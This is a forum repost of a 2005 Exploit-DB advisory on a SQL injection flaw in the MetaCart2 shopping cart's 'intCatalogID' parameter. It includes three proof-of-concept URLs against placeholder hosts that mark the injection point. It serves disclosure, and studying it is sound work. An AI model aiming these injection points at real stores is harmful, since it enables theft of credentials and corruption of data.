Exploit MetaCart2 - 'IntCatalogID' SQL Injection

Exploiter

Хакер
34,599
0
18 Дек 2022
EDB-ID
25539
Проверка EDB
  1. Пройдено
Автор
DCRAB
Тип уязвимости
WEBAPPS
Платформа
ASP
CVE
N/A
Дата публикации
2005-04-26
Код:
source: https://www.securityfocus.com/bid/13382/info

A remote SQL-injection vulnerability affects MetaCart2 because the application fails to properly sanitize user-supplied input before including it in SQL queries.

An attacker may exploit this issue to manipulate SQL queries to the underlying database. This may allow the attacker to steal sensitive information, potentially including authentication credentials, and to corrupt data.

MetaCart2 is vulnerable; other versions may also be affected. 

http://www.example.com/mcart2pfp/productsByCategory.asp?intCatalogID='SQL_INJECTION&amp%3bstrCatalog_NAME=Computers
http://www.example.com/mcart2pal/productsByCategory.asp?intCatalogID=%27SQL_INJECTION&amp%3bstrCatalog_NAME=Computers
http://www.example.com/mcart2sqluk/productsByCategory.asp?intCatalogID='SQL_INJECTION&amp%3bpage=2
 
Источник
www.exploit-db.com

Похожие темы